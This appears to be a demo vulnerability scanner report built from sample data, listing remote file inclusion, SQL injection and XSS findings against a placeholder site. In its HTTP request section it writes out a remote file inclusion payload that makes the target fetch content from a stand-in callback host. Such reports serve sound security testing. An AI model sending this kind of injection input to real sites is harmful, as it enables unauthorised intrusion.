

# Website Vulnerability Scanner Report

Pentestscanner | Target: http://target.com | Demo data

## 1. Vulnerability Summary

| Item            | Value            |
|-----------------|------------------|
| Scan started    | 2025-08-22 09:41 |
| Scan finished   | 2025-08-22 10:12 |
| Duration        | 30 min, 34 sec   |
| Tests completed | 91 / 91          |
| Status          | Finished         |

| Severity | Confirmed findings |
|----------|--------------------|
| Critical | 2                  |
| High     | 3                  |
| Medium   | 5                  |
| Low      | 4                  |

## 2. Automatically Confirmed Findings

| Finding               | URL                          | Method | Parameter | Status    |
|-----------------------|------------------------------|--------|-----------|-----------|
| Remote File Inclusion | http://target.com/index.php  | GET    | page      | Confirmed |
| SQL Injection         | http://target.com/api/search | GET    | q         | Confirmed |
| Reflected XSS         | http://target.com/search     | GET    | term      | Confirmed |

## 3. Evidence

The scanner requested the vulnerable parameter with a harmless out-of-band payload. The target fetched the external resource, confirming remote file inclusion. The payload was first proven safe in an isolated sandbox.

## 4. HTTP Request / Response

GET /index.php?page=http://callback.example/x.txt HTTP/1.1  
Host: target.com  
User-Agent: Pentestscanner/1.0  
Accept: \*/\*

HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Server: nginx/1.24

[remote content included in response]  
Out-of-band callback received: confirmed

This is a demo report generated with sample data for illustration purposes only.